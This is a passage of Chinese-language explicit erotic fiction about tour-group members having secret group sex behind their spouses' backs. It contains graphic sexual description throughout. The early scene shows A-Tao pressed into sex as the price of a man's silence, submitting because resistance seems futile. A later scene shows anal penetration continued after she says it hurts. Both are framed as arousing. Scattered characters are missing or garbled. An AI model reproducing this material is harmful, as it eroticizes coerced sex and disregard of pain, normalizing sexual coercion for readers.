  阿桃急得气也喘起来,一起一伏的胸脯令两团肉球也带得高低耸动,真怕上衣的钮扣受不住压力而突然绷脱。我再也忍不住了,伸手去握着跳跃不已的一对乳房,边搓边说:「嘿嘿!给我捞点便宜就算是好处吧!反正抓过这儿的,我又不是第一个。」想不到阿范更飞擒大咬,一手掀起她裙子,一手抄进她腿缝,隔着内裤在阴户上来回扫抚,还在她耳边说:「要堵塞我的口不难,大家合作,你这里的小洞也让我堵塞堵塞,那我就甚幺都忘记了。」

  阿桃又羞又怕,拒迎两难,神不守舍的当儿,已给我和阿范扛到床上,把衣裤一上一下分头拉扯,转眼就变成一丝不挂的裸美人,赤溜溜地仰躺在床上,羞涩得 懂一手遮胸、一手掩阴,闭上双眼,惊慌得不敢向我俩稍一张望。

  趁这机会,我和阿范争相也将身上的衣服脱掉,两分钟不到,房间里就 得椅上一堆衣服、床上三条肉虫。我轻轻拉开她护在胸口的手臂,对着她一对饱满得令人赞叹的乳房足足欣赏了五分钟,才动手将又嫩又滑的两团肉球,握在掌里搓圆按扁,一时轻轻抚摸,一时又大力抓紧。阿桃知道此刻任何挣扎都改变不了已发生的事实, 好放弃所有抗拒动作,放松着身体,逆来顺受,任由我和阿范在她如花似玉的娇躯上胡作非为。

  阿范欲擒先纵,对她的阴户碰也不碰一下,光用手指去撩拨阿桃下体茂密的阴毛,他五指按在肥卜卜的阴阜上,用洗发时抓搔头皮般的手势,一弓一张地轻刮着阴阜上的皮肤,痒得阿桃将屁股挪来挪去,既像难受,又像舒服得要死。

  不知不觉间,她已给我俩抚摸得全身发烫,气喘加剧,口里开始呢呢喃喃地发出呻吟,蛇腰款摆、香汗淋漓。慢慢我觉得掌中的乳头逐渐发硬,分别从两指缝隙挺凸出外,勃胀得有如两颗小红枣,我忍不住捏着它们左右搓动,又或用两指夹着,然后将姆指压在乳尖上擦。阿范这时已经转向她的阴户下手,左手拨开遮挡着的阴毛,捻着昂凸得像粒红豆般的阴蒂又搓又捏,右手两根指头同时捅进阴道出出入入抽动着,将淫水磨得『渍渍』连声。

  她受到我俩双管齐下的一轮亵弄,呻吟声越哼越大,变成听得使人脸红耳热的叫床声:「噢……好难受……痕痒死了……啊……不要再摸了……酸麻喔……嗯……酸……你们要干就尽管干……别再折磨我了……嗯嗯……」身体一演一演地在床上弹跳,间中还发出几下颤抖。

  她的大腿越张越阔,彷佛准备腾出空间给阿范挪身过去大展身手,好把痒得发慌的阴户插过痛快淋漓,其实阿范也一切准备就绪,阴茎早已在胯下勃硬得像枝锣 ,不断地在叩头,哀求着主人快快将它送进紧窄的藏身之所。

  阿范见把阿桃的浪劲挑逗至巅峰状态,阴户亦给玩弄得水到渠成,于是也不再客气,一跪到她大腿之间,便提起阴茎朝着肌渴万分的阴道直插到底。他那大得不合比例的龟头,势如破竹地长驱直进,大概是猛烈地碰触到她阴道尽头的子宫颈吧,阿桃顿时弹跳一下,酥胸一挺,口里嚷出『唷!』的一声,混身酥麻得再也发不出半点声音, 是用手抚着小腹,张大嘴巴不住地喘气。

  我见机不可失,便放开她两只爱不释手的巨乳,蹲身跨过她头顶,将亢贲得如缠满蚯蚓般的青筋毕露大鸡巴,一把塞到她张得阔阔的口里,硬梆梆的龟头直抵烫热湿润的深喉,她连忙伸出双手捧着我的阴囊,一方面是怕我插得太尽,令她产生窒息想吐的感觉,慌忙用手阻挡来减少深度,另一方面却又骚浪地玩弄着我的两颗卵蛋,握着阴囊在揉来揉去。

  阿范这时已急不及待地把下体前后摆动,用阴茎在阿桃的阴道里出入抽送,阿桃的小腿在他背后越举越高,十指蹬得笔直,硬挺得活似在抽筋,颤抖得又像在发冷,一双红唇紧紧地含着我的阴茎,还深深地往里吸气,啜得我龟头棱肉鼓胀,而她的两边脸皮却往下凹陷,彷似一对笑出来的动人酒窝。

  我和阿范互相面对面,各自在她上下两个小洞里尽情提取快感,抽插得乐极忘形,这样『对着干』有个好处,就是不单可以自己一边抽送,还可以一边观赏着对方阴茎在她洞内不停出入的情景,刺激得连眼皮亦舍不得眨一下,肉体和精神同时都得到无比满足,而不同的是,阿范是将下身前后挺动,而我则是上下蹲抬。她胸前一对『巨无霸』,早被我俩不约而同地二一添作五,一人一只握在掌中,搓完又抓、抓完又揉,玩得她眉如春柳、醉眼如丝。

  可能是我又硬又胀的阴茎把她小嘴撑得太累了,她让我在口里抽插了不一会后,便侧一侧脑袋,将阴茎吐出口外,握着包皮往根部捋尽,令龟头更形怒凸,然后伸出舌尖围着棱肉四周舔舐,撩了好几圈后,又再张嘴一口含回,双唇紧包着龟头吮啜,舌尖力抵着马眼狂点,搞得我龟头酥麻,两腿发软,再也蹲不牢,不由自主地坐到床面,挺起鸡巴随她摆弄,以逸代劳地任她舔啜吞吐。

  这时阿范 得性起,索性将她两只小腿提起,搁上自己肩膊,等她屁股离床几寸,演挺着下体,让阴茎插得更深更尽,他双手撑在阿桃腋下,两腿后蹬,俯下的上身将她两条大腿压低得几乎贴到乳房,然后屁股像波浪一样上下起伏,棍棍到肉地把她阴户 得『啪!啪!』作响。

  我龟头给她啜得酥麻感越来越强烈,加上她又把包皮飞快地前后捋动,催促了高潮提早到来,我忍不住小腹一收,咬着牙关连打了几个冷颤, 见阴茎不断抽搐,马眼『嗖』地射出一道又白又黏的精液,糊满在她牙齿和舌头上面,她把头挪后一些,继续捋着包皮,我接着又再射出一股,黏 住她的右眼皮,接下来的一股直飞脑门,浆满在秀发上,余下的没射得那幺远了, 是喷满在她鼻梁,弄得她眉心一团花白,滑稽得像个京戏里的丑角。

  阿范目睹着我射精的情形,更加越干越兴奋,直把阿桃 得典床典席,死去活来,捧着自己一对乳房发狂地用劲抓握,叫床声沿沿不绝:「哎呀……我的五脏六腑都给你干到反转过来了……噢噢……你的龟头好烫喔……花心都给你撞麻了……哎呀……快射精吧……我就要给你 死喽……噢……真的 出来了……」由于她上下牙齿之间浆满了我射出的精液,一张开嘴叫喊,顿时被拉成好几道淡白色的黏丝,随着她高潮中发出的颤栗,抖了几抖以后,就堕进喉咙深处。

  我把精液全射出来后,呼出一口长气,舒服得满身畅泰,坐在一旁观赏阿范的鸡巴在阴户抽送的美景,她浓密的阴毛遮不住勃得硬挺的阴蒂,已经胀大得铅笔头般粗了,在黑漆漆的阴毛丛中露出粉红色的尖端,活像一个小小的龟头,被不断反动着的小阴唇牵扯得一冒一冒,我被引诱得不禁伸出手去将它捻住,轻轻来回搓转,弄得阿桃一边颤抖一边求饶:「哎呀……别这样……受不住……不来了……噢……你们这样折磨……我要死了……哇……不行了……又要 了……」一个强烈的高潮又再把她弄得颤抖不堪,双眼反白得像条死鱼。

  阿范不知是否受到阴户抽搐引起的吸啜感刺激,竟一起和她同时颤抖起来,抽送变得慢而有力,每挺尽一下,便打一个哆嗦,相信每一下抽搐,便代表他在阴道里面射出一股精液,连续抽搐了七、八下,才精疲力尽地停下,喘着粗气,但耻骨依然用劲抵着阿桃下阴,让仍未软化的阴茎像个塞子一样堵着阴道,不舍得将它拔出来,直至阴茎越缩越小,跟随着大量涌出的精液掉滑出外时,方依依不舍地把她双脚放低,软软地躺到仍在痉挛着的阿桃身旁。

  良久,阿桃才如梦初醒地撑开双眼,对躺在她身边的我和阿范说:「你们好坏,两人联手一同欺负我,看!被你们弄得全身都像散开了,两腿发软,明天怎能去当你们的领队?」我往她的奶子上捏了一把,笑着对她说:「你这幺骚,没两个男人,哪里 得你饱喔?嗯,刚才爽不爽?」她满意地道:「爽毙了,想不到三个人一起干,这幺过瘾!」伸出手指往阿范的鼻尖点了一下:「吶,我两个口都给你们堵过了,跟你们上床的事,不会说出去了吧?」阿范哈哈笑了两声:「说出去?不怕有人跟我分薄耶?当然是越少人知道越好!」把阿桃逗喜得搂着他感激地亲了一口。

  阿范嘴里『吐!吐!吐!』地唾了几声,对阿桃说:「哇!你把阿林的东西都带到我嘴里了,真是!」她咭咭地笑了起来:「不说倒忘了,死阿林,把我喷得一头一脸都是,要去洗个澡了。」一边撑起身,一边说:「阿郎今晚来我这里过夜,你们也一齐来睡吧!都是你们不好,惹大了我的胃口,害得我心思思,又想再试试和三个男人一起玩的滋味。」

  我一把将她扯到怀中:「那敢情好,不过老婆在身边,过不来呀!」阿范接着说:「就算我们能过来,你不怕阿郎吃醋吗?」她又笑了起来:「阿郎?少担心好了,他比你们还开通哩!我把他的故事说给你们听听就知道了。」

  「昨夜我们来完了第一次后,躺在床上谈天,他跟我说起了读书时的一些往事:住同一间宿舍的是他的好朋友,偶尔各自都会带自己的女朋友回去睡,另一个借故避开就相安无事了。有一晚,不巧两人都同时带了女朋友回宿舍,但又想对方出外,让自己独霸房间,后来妥协不下,却又情欲难忍,便各自各在床上蒙着棉被来‘舞狮’,干到得意忘形时,连被子都蹬到地下去了,又舍不得中断下床去捡回,结果两对男女光脱脱的搂着一边自己干,一边看着对方性交,越干越兴奋,越干越来劲,到最后竟然双双都得到有史以来最畅快的高潮。

  从此以后,阿郎和舍友都有一个约定:除非不干,要干就一定相约好大伙都带女朋友回来,四人同开无遮大会,一边玩一边看着对方表演,每趟都玩得痛快淋漓,变得非此不欢。但可惜的是由始至终,互相都没有交换过伴侣。」

  阿范听完后惊叹不已:「原来阿郎这幺开放,真看不出耶!」我对阿桃说:「对不起,我虽然心里很想,但今晚真的不能来陪你了,不过总有机会的,看哪一天借故把老婆支开,再和你大战一场!」她显出很失望的神色:「没法啦,不过你们说话可要算数喔!一会洗完澡后我要你们再陪我玩多一次才许走。」阿范阴阴嘴笑着向我说:「我早说过这个骚妞大食,没说错吧?看来阿郎今晚可要疲于奔命罗!」跟着「哎唷!」叫了一声,原来被阿桃在他阴茎上扭了一把。

  

  

  ——————————————————————————–

  (四)

  经他提醒,我连忙看看手表,叫了声:「哎唷!快活不知时日过,时候不早了,万一阿珍她们回来,找不着我们,或刚巧给她们碰见我俩从这房里出来,怎算好?」阿范搔了搔脑袋:「再干一场,时间真的不够,这骚货,上得一次床,还怕会飞掉?她还愁你不来呢!来日方长,机会多的是,还是回去应酬老婆为上策。」我点头赞同:「不过没在她屁眼弄过,总是有点不大甘心。」

  我俩走进浴室,阿桃正在洗发,满头肥皂泡沫,闭着眼在搔,阿范上前抄起她两只奶子又揉又捏,弄得她直嚷:「唷!看你急的!又不是不给你,人家洗完头就来了嘛,一会让你玩个够好了。」我也趁机搏乱,一手伸进她腿缝,用手掌压着阴户,磨擦着两片柔软的小阴唇,另一手在她屁股圆滑的臀肉上抚摸,还乘着皂液的润滑,顺势溜进她股缝, 试把指头插进她紧窄的小屁眼。

  还好,总算赶在阿珍之前回到房间,连忙找出内衣裤进浴室,把身上的秽迹洗乾净,一边沐浴一边想:以前听人家说过,「泡妞不难,泡上手后要甩掉时才考功夫」,真是一点不假, 是想不到阿桃外表看来这幺单纯,一上到床,居然会变成苛索频频的馋嘴小淫妇而已。

  真险,刚洗完了澡,阿珍就回来了,把购买的小匙扣呀、杯垫呀、印画T恤呀……一大堆旅游纪念品逐样拿出来给我看,我嘴里一边应酬,心里一边回味着刚才阿桃饱满的赤裸肉体、滑溜溜的肥白屁股、鲜嫩紧窄的阴户和屁眼,阿珍究竟买了些甚幺,完全不入脑,直至通知吃晚饭的召集电话铃响起,才惊醒过来。

  在酒店餐厅吃自助晚餐的时候,才见阿郎刚刚赶回,我逃避着阿桃不时盯过来的责怪目光,用带点内疚的心情想像着她洗完澡后人去楼空的狼狈情景,暗恨自己难受美人恩之余,也怪阿郎怎不早点赶回来帮忙收拾残局。

  乐池中一队乐手在演奏着充满夏威夷风情的乐曲,大概电结他与大提琴的轻松韵律加上沙锤的敲击节奏,松弛了人们的神经吧,渐渐开始见到阿桃的俏脸恢复了笑容,她还趁阿郎与她在食物台一起取食品的时候,暗中交头接耳、眉来眼去,还偷偷用屁股朝阿郎大腿撞了一下,骚得直透骨子外了。

  吃完自助晚餐回到房间,阿珍对我说:「刚才晚饭的时候,阿范说我的脚伤还没完全痊 ,吩咐我今晚过去他房,让他替我的脚板再按摩一次,以后才不会有后患,我想过去一趟。」我当然明白阿范打的是甚幺鬼主意,便阻止阿珍道:「不行,你忘了昨晚的教训了?脚板给他一抚摸,便浪得老公是谁也忘了,不怕送羊进虎口吗?要按摩,我替你按摩好了。」她肩膀在我胸口扭来扭去:「耶,人家的脚髁还真的有点隐隐痛嘛!何况你又不懂真正脚板按摩,越揉越坏怎办?而且阿杏又在他身边,谅他也不敢胡来,要不放心,你跟我一道过去好了。」拗她不过, 好陪她一同进入阿范房去。

  阿范让阿珍坐在床沿,自己拉了张椅子坐在前面,将她扭伤的脚搁上大腿,一本正经地开始推拿起来。正在看电视的阿杏见我百无了赖,便转过头来跟我聊天:「我说呀,病向浅中医,不然老了以后,每逢打风下雨就会隐隐作痛,阿范对脚板按摩是有点心得,你太太给他推拿几次后就会没事了,放心吧!」我支支吾吾地点头应酬着,心里却盘算着怎样利用这段大好时机。

  阿杏吊带睡袍上露出的雪白肩膀在眼前摇晃,身上透出来的阵阵体香传入我的鼻孔,令我心里蕩漾出一股沖动,身子渐感又燥又热,坐立不安,阿桃曲线玲珑的肉体再次在脑海盘旋。见反正有阿杏在一旁看守,料想阿范胆子再大,相信也不敢在他老婆眼皮前胡作非为,閑着也是白閑着,不如就钻这空子到阿桃房里再续前缘,偷偷摸摸反而更有刺激感。便扭头对阿珍说:「老婆,反正我呆在这里也帮不上甚幺忙,趁这空档,我想过去阿郎房里坐坐,顺便瞧瞧他今天买了些甚幺电脑软件,一会再来接你回去好吗?」

  她的脚板正给阿范按摩得舒服万分,瞇起眼睛在享受着, 差没张嘴把呻吟声嚷出来,眼皮也顾不上抬一下便马上回答:「好好好,你去吧!说真的,硬要你呆在这儿陪我,不把你闷死才怪,去管去,别太晚喔!」我如释重负,连忙抽身而起,临走时转头向阿范悄悄一瞄, 见他黑着脸孔,用又羡慕又妒忌的眼光望过来,虽然心知肚明我现在要去哪里,但又不能脱身相随,气得鼓起两泡腮,无可奈何地在乾瞪眼。我掩上门,用飞快的步伐向阿桃房间走去,一路上嘴里吹着口哨,心情轻松得像一只离笼小鸟。

  敲了敲门,阿桃在里面问:「是谁啊?」我低声回应:「是我,阿林。」门刚开了一条缝,我就迫不及待地挤身进去。阿桃像刚从浴室里出来,身上一丝不挂,胸前一对大奶子随着她用毛巾抹身的动作在上下抖动,晃得我眼花撩乱,意乱情迷,禁不住上前一把将她搂着,俯头将她两粒乳头轮流含进嘴里,分别舔啜一番,痒得她骚里骚气地咭咭笑,拉着我一同倒在床上。

  我顺手扯掉她的毛巾,手掌伸进腿缝又摸又挖,两片小阴唇很快就给我磨擦得在浓密的阴毛丛中凸硬起来,我将它们轻轻撑开,再用两指插进阴道里出入抽动,不几下就把她弄得气喘呼呼,蛇腰乱摆,双手抱着我脑袋,口里开始梦呓般地发出呢喃呻吟,丝丝淫水亦渐渐渗透进我的指缝,我见水到渠成,更要珍惜时间,便站直身,开始除衣脱裤,准备以赤裸之躯与她看齐。

  「阿桃,是谁来了?」在这紧张关头,冷不防从浴室里传出一把男声,顿时把我吓了一大跳!连忙把脱了一半的裤子拉高,掉头一看,原来由浴室走出来的是阿郎!他裸着全身, 是腰下围着一条毛巾,走过来望着我胯下阴阴嘴笑说:「嘿嘿,阿林,三更半夜不陪老婆,摸到这来想强奸阿桃不成?」我顺着他的视线也低头朝自己一瞧,发觉匆忙中虽然把裤子提上,但勃得硬梆梆的阳具却仍在拉链缝中挺突出外,还在一跳一跳,当场狼狈不堪,连忙用手想把它塞回去,左拨右挪手忙脚乱,引得阿桃掩着嘴又再咭咭地笑。

  她一边笑一边在阿郎耳边嘟哝了几句,阿郎将眼瞟过来:「呵呵,原来阿林趁我不在,悄悄偷我东西吃!」我急得摇动着双手:「不……不……不打扰你们了,我回自己房里去。」转身想走的时候,阿郎伸手把我扯住:「哈哈,一句话就把你吓怕了?回来吧,我们正想找多个对手一起玩哩!相请不如偶遇,你既然来到,有兴趣的就一起玩个痛快好了!」我正在犹豫之间,不料刚塞进裤里的阴茎,一下『改斜归正』,又从拉链缝中弹了出外,硬挺挺地往前直指。

  阿郎见了,指着它笑说:「你看,连你小弟弟也忍不住沖出来点头答应了,还装甚幺蒜?」也不管我答不答应,转身将自己腰间的毛巾甩掉,赤条条地跳上床去。阿桃见势也往后一躺,屁股在床上挪了几下,摆好一个迎战格局后,手指向我充满挑逗性地勾了勾,还特意张开大腿,用毛茸茸的阴户对正我,引诱着我一齐加入他们这场刺激的肉欲游戏。

  阿郎一腿跪在阿桃头侧,另一腿跨过她脖子,将整副生殖器官毫无保留地演露在她脸前,阿桃见他已送上门来,也不客气,一打侧头,就驾轻就熟地握着挺在鼻尖前的阴茎套捋了十几下,然后张唇一口将龟头含进嘴里,津津有味地开始吮啜起来。阿郎轻轻摆动着下盘,使阴茎在她吸啜的同时,也从她的小嘴里出入抽动,并且一手扫抚着她秀发,一手拐到她胸前,抓着乳房在搓揉。

  我在旁看得热血沸腾,尤其是见到阿郎的龟头在她口中越胀越大,阴茎勃得越来越粗,长度甚至比普通人还要长一寸多时,心内暗自惊叹之余,小弟弟发出的沖动讯息也实在令我忍禁不下去了,三扒两拨将身上的衣服也脱过一乾二净,眼睛不由自主地直瞪着阿桃的阴户,身体被一股无形引力牵扯过去。

  伏在她张阔的大腿中间,整个娇嫩的阴户无遮无掩地展示在我咫尺眼前,密密麻麻的阴毛布满在阴户四周,围成一个椭圆形的环状毛圈,中间两片粉红色的小阴唇在乌黑的耻毛衬托下,更形得夺目诱人,就像一大碟发菜上面搁着一只新鲜的肥 ,色香味俱全得引人垂涎欲滴。

  我用舌尖顺着小阴唇由下向上贪婪地来回舔扫,那种柔软而带点湿滑的触觉真爽!令我舌尖一秒钟都不舍得离开。我鼓起如簧之舌,越舔越快,渐渐就觉得这两块嫩皮充血发硬,像一颗正在开放中的花蕾,花瓣慢慢向两旁张开,勃挺撑高起来,我用口含着两片小唇,在嘴里细味品 、吻吮吸啜,恨不得将它全都吞进肚里。花心中渗出的蜜液源源不绝,带有一股微腥略咸的特别味道,舔进嘴里令人提神醒脑,像被打进一枝强心针,催化着阴茎在澎涨,勃鼓得十分难受。

  吮啜了不一会,就发觉软皮中多了一粒硬东西,好像蚌肉里藏着一颗珍珠,胀鼓鼓的冒出圆头,不甘寂寞地向我舌头争宠,我用指头将小阴唇拨开两边,舌尖像蜻蜓点水般在阴蒂上重点进攻,每点一下,她就抖一抖,点得越大力,她就抖得越励害,我索性把整粒阴蒂都含进嘴里,用力一啜,她顿时全身一颤,猛力得连屁股都挺起来了,阴道里喷出来的淫水射湿我一下巴。

  我照样连续啜了好几下,她挨不住了,把阿郎的阴茎从口中吐出,用发抖的声线向我哀求:「噢……哎呀……麻死我了……再啜下去,要取去我的命了……快……阿林,求你快把鸡巴插进来……痒得受不了了……快点呀!」两只小腿勾到我的腋下,使劲往上扯,企图把我的身体拉高,好压到她身上。

  其实到这田地,就算她不出声,我也沖动得忍无可忍,抬高身往前一趴,龟头已经触着了湿滑的阴户,盘骨再顺势挺一挺,阴茎轻而易举地就顺着穴道长驱直进,将空虚得发慌的阴户填充得饱饱满满,这时她才『呼……』地舒出一口满足的长长叹气,然后再次把阿郎的阴茎含回口中。

  阿范形容得没错,她的阴户果然是构造特殊,龟头钻进去的感觉,就好像是过关斩将,里面无数的小肉瓣过之不完,一路深入,一路受着凹凸不平的穴壁磨擦,龟头棱肉与重门迭户内的皮环互扣,爽美得难以言语。我待整枝阴茎都藏进她阴道后,便稍作停留,享受着温暖、湿濡、嫩滑、紧迫的别有洞天。

  单把阴茎插进内已经如此美妙,抽动起来自然更加蚀骨销魂,我双掌撑在她腋旁,起伏着屁股令阴茎不断在她阴道进退,每一下抽送都带来无比快感,由阴户传至龟头,又由龟头通过阴茎传至大脑,舒畅得我乐不可支,得意忘形。我一边接收着抽送中产生的阵阵快意,一边欣赏着她在我面前运用口舌功夫替阿郎鸡巴吹奏的奇技,双重刺激下令交媾的快感更趋强烈。

  她一时含着整支阴茎在出入吞吐,一时又拔出口外,用舌尖由头至尾舔完一遍又一遍,连阴囊也不放过,舌头先环绕四周漫游一番,再而将两粒卵蛋分别含进嘴里,啜得『渍渍』发响。横箫直笛轮流耍弄,把阿郎搞得一会儿全身颤抖、一会儿仰天呼气、一会儿两腿发软、一会儿低声呻吟,肉紧得 懂握着她的乳房在胡乱抓捏,有时甚至紧张得忘却自我,使劲得像想要把她乳房握爆。

  可能这样半蹲半跪的姿势,对两腿发软的阿郎来说真的吃不消,他趁阿桃将鸡巴拔出来的一煞,转过身子躺到床上平摊而卧,让一柱擎天的阴茎朝上直指,以逸代劳地随得阿桃再任意把为。我这时正好也想换换招式,便把抽送中的阴茎拔出外,阿桃会意地翻转身子,高翘起屁股跪在我跟前,然后再伏身到阿郎小腹上面,用手扶着茎干,张开嘴朝龟头套下,转眼间阴茎又落回她口中。

  磨成杏仁糊状的淫水,白花花的沾满在漆黑的阴毛四周,被我 得亢贲莫名的阴户仍在一张一缩,像恳求着我再继续未了事,我跪到她屁股后面,用龟头在湿淋淋的阴户上随便一撩,便滑进了阴道口,跟着往前一靠,整条阴茎又再一挺而入,重归阿桃阴户的温暖怀抱。我扶着她两团肥臀,一鼓作气地再次抽送,阴茎的飞快进出把更多的淫水带往外面,不单发出有规律的『吱唧、吱唧』音响,水花还不断溅往我的阴毛,吸收饱和后再顺下淌向阴囊。

  阿桃的姿态像个虔诚信徒,跪在庙里不停叩头膜拜,阿郎阴茎随着她的点头在她嘴里进进出出,时而全根尽没,时而挺着硬梆梆又红又胀的龟头受着阿桃唇舌的照顾,快活得像魂游太虚,迷迷糊糊地 有下盘就着她的动作,本能地一降一抬,整个人都沉溺在肉欲享乐的升华境界。

  我一边抽送,一边欣赏着自己阴茎在她鲜艳欲滴的两片小阴唇中间出出入入的动人情景,眼前两副性器官一时背道而驰,一时猛烈相撞,每一下碰击都发出清脆的『啪』一声,把淫水挤得飞溅四散,阴道口的嫩皮随着阴茎的抽插而被拖得里外卷反,清晰得像小电影中的大特写镜头,而自己就是电影中的导演兼男主角,自觉雄劲勇猛与威风凛凛集于一身。

  阿桃受着我阴茎毫无间断的连续抽插下,浪劲开始溢于言表,气喘越来越加剧,令她中途不得不吐出阿郎的鸡巴,歇下来喘一回气,才能再继续下去,抖气的当儿,顺便舒展一下心内畅快:「噢……好舒服呀……快给你 死……爽得命也没了……嗯……嗯……阿林……再插快一点……嗯……来了来了……噢……捱不住了……就要 了……」屁股往后朝着我挺动迎送,好像生怕鸡巴插得还不够深不够狠,要替我加把劲似的,淫水多得从阴道缝隙间喷 出外。

  她甫一叫完,立即再含着阿郎的龟头,身子不停地打着哆嗦,颤抖得像个发羊痫的病人,真恐她肉紧得疯狂起来,会把阿郎的龟头从阴茎上一口咬掉。同一时间阴户发出阵阵抽搐,里面的小肉瓣在龟头上左扫右拨,令我顿觉又酥又麻,阴道壁把鸡巴箍得密不透风,还一松一紧地收缩着,像有一股无形力量在吸啜,企图从我体内把精液牵扯出外。我虽意犹未尽,但感觉小腹肌肉不由自主地向内逐渐收压,很快就会被她吸到一 如注,心中暗叫不妙,赶忙将阴茎从她阴道拔出,让敏感程度消却一下,回一回气。

  她正在高潮的兴头上,阴道里突然空空如也,差那幺一口气就可去到高峰,想不到我竟然抽身而退,恨得回头向我滴着淫水的鸡巴狠狠瞪了一眼,也顾不上出口责怪,连忙蹲高身子,朝阿郎那昂头吐舌的阴茎就坐了上去。

  她双手撑着阿郎胸膛,翘起屁股上下抬动,一边用阴道套着肉柱吞吐,一边满身颤抖地继续享受高潮,仰高头断断续续地吭叫:「噢……美死了……阿郎你的鸡巴真长……噢……顶得我花心……真酥麻……舒服死罗……不要射精喔……我还要爽……噢噢噢……我要晕过去了……」猛地摆动身体再打了几个大哆嗦,等到高潮过后,才全身酸软地趴伏在阿郎胸口,大口大口喘着粗气。

  我弯低头朝她阴户瞄了瞄, 见两片红肿的小阴唇紧紧裹着阿郎的阴茎,每隔七八秒就发出一下抽搐, 出的淫水环绕着阴茎四周直淌而下,顺着阴囊凝聚在睪丸下端,再一滴滴地滴到床单上,湿成一大片。翘起的屁股令浅啡色的小屁眼刚好展露在我面前,一条条皱纹从中间的窄孔向四面放射性地扩散,像一只反转的袜子统,又像月球上的环形山,充满迷惑地引诱我去寻幽探 ,顿令我刚平伏了敏感的阴茎又再食指大动,兴致勃勃地打算一窥内里乾坤。

  

  

  ——————————————————————————–

  (五)

  阿郎这时双腿蹬得直直的,还伴随着轻微的颤抖,相信是正在享受着阿桃高潮时阴户抽搐而引发的一连串收缩,吸啜着他的阴茎,令他也混身酥麻。阿桃伏着身子,令屁股往后翘起,两团臀肉更显圆涨,皮肤撑平得更加滑不溜手,我忍不住伸手往上轻抚慢扫,有时拨弄一下她柔软的阴毛,有时挑逗一下她的肛门,痒得她把屁股像个筛子一样磨来磨去,混身不自然,将屁股越翘越高。

  阿郎插在她阴道内的阴茎,因她屁股的翘高,逐渐与阴户有了一段距离,虽不致脱掉出外,但已露出大部份,茎干上青筋之间的凹位,藏满了又白又糊的淫水,还有一些黏 在隆鼓起的尿道两旁的沟隙里,浆得阴茎花斑斑的面目全非。

  大概阿郎也感觉到,原本是紧贴在一起的两副生殖器之中出现了空档,但这空间却刚好够他利用来做沖刺动作,赶忙伸出双掌托着她屁股,运用腰力将下体上下挺动,阴茎顿时又再龙精虎猛地在她阴道抽送起来。阿桃蹲着身子保持固定姿势,领受住他一下接一下的撞击,再次细味着阴道与阴茎互相磨擦而引起的无穷快感,舒服得全身动也不愿动, 有两团臀肉因碰撞而上下乱抖。

  我面对住抛动着的两块肉团,中间的小屁眼时隐时现,引得我想在后庭干一趟的兴趣顷刻大增,左手用指头将窄缝撑开些许,右手中指在小阴唇上沾了沾黏滑的淫水,朝着肛门的凹位就直插进去。阿桃阴户正给阿郎干得如火如荼,突然后门又闯进来一个不速之客,顿时愣了一下,接着由于我的手指开始里外抽动,对她生出一种特别的舒畅感觉,便再不加理会,任由我俩双管齐下,各自在她前后两个小洞随心所欲地如取如携。

  屁眼口的环状括约肌紧紧地箍住我手指四周,火烫的直肠壁不断把热力向我传送,令我兴奋得不禁又再加添一只手指,插到她肛门里继续挖抠,本来收缩得紧贴的屁眼,逐渐适应了外来异物而不再抗争,微微张阔洞口,变得有点松弛,令我两只手指出入得越来越顺畅。我见时机成熟,该是用鸡巴来代替手指的时候了,便用另一手握着阴茎,将龟头在阴户上揩满正源源不绝渗出的淫水,挺高身趁指头拔出来的一煞那,马上换上龟头抵在肛门口,闭着眼深吸一口气,用劲往前一挺,龟头棱肉立即就感觉受到烫热的直肠壁包围。

  「哎唷!」阿桃料不到屁眼中的小指头忽然变成了粗肉棒,本能地把括约肌猛力收缩,紧紧地箍着龟头对下的凹沟,好像一张嘴般把龟头含住,令我虽然将龟头塞了进去,但剩下的一大截阴茎却因不能继续挺入而进退两难。我保持着这个姿势不动,等她用点时间去适应肛门突而其来的扩张,然后再见机行事。

  阿桃把头扭过来,对着我说:「阿林……哎……慢慢来,屁眼被你撑得好痛啊!昨晚阿狼插进去的时候,难受得我眼泪都掉下来了,你再强弄一次,我怕明天步也迈不开哩!」嘿嘿!我早就料到阿郎这小子不会把她的屁眼放过,既然受得了阿郎的干弄,当然亦受得了我的鸡巴闯进去游玩一番,便弓起身子把胸口贴着她的背,双手抄前托起她一对奶子在搓揉,在耳边安慰道:「别紧张,你看!龟头都藏进去了,鸡巴自然也进得去,放松一点,想像一下身体里同时插着两枝鸡巴的爽劲,肌肉就不会绷紧了。」

  我边说边抓着她一对奶子往后扯,使她演凸起屁股向我挺过来,同时又运用阴力将盘骨往前顶,加强阴茎往里闯的压力,但可惜除了龟头外,余下的一大截依然挤不进去。阿郎本来在她叫嚷的时候歇停了下来,此刻由于她会阴肌肉的收缩,将鸡巴箍得比前更紧更爽,忍不住又将屁股上下挺动,长而粗的阴茎再次腾出腾入,将阴户抽插得应接不暇、淫水直淌。

  阿桃将注意力放在享受阴户传来的阵阵快感上面,似乎忘了屁眼里还夹着一个龟头,加上阿郎挺腰抽插的同时,又挪出一只手,用指头按在她阴蒂上揉压,令阿桃更加顾此失彼。我的龟头被她屁眼紧箍了一会,血液回流不来,反而越胀越大,硬梆梆地将肛门越撑越阔,像个开山劈石的开路先锋,带领着整枝阴茎向羊肠小道深处奋勇进发。

  我 觉她的屁眼放松一下,龟头便深入一点,她本能地随即收紧,但受不住阿郎的几下抽插,又再放松……,就在屁眼一松一紧的当儿,阴茎剩在外面的体积便越来越少,不消几个回合,硬如钢筋一样的阴茎,就给她的肛门活生生地全条吞了进去。可能阿桃也感觉到直肠里面越来越充实,阴户和屁眼同时给硬物塞得胀满的感受带给她双重刺激,支撑住体重的两腿一软,顿时令半蹲姿势的身体往下一坐,阿郎的那根大鸡巴,此刻便丝毫不剩地全部给她套进体内,我摇晃着的阴囊也由于她这幺一降,便与阿郎的阴囊 贴到一起。

  她前后两个小洞都深深地插着一根鸡巴,令她胀满得又酸又麻,低头俯伏在阿郎胸口上,一时间没力气把身子抬起来。不知道是她体温越升越高,还是直肠里真的这幺烫,我感觉到阴茎在里头像被一团火包围着,热得吓人,与插进阴道里的那种暖洋洋、滑溜溜的感觉又回然不同。

  三人叠压一起,下面两个都动弹不得,就让这样子的姿势持续了好几分钟。待了一会,我终于带头打破这闷局,其实亦打算 试一下,在屁眼抽送跟在阴道抽送又有甚幺不同?我跪在床上,挺直胸膛,双手捧着她屁股往上抽起,令她翘起后,直肠与我阴茎的角度恰好成一直线,这样抽插时可以直出直入外,还可以腾出一点空间让阿郎也能上下挺动,好联手把这骚娘子的浪劲彻底掏尽出来。

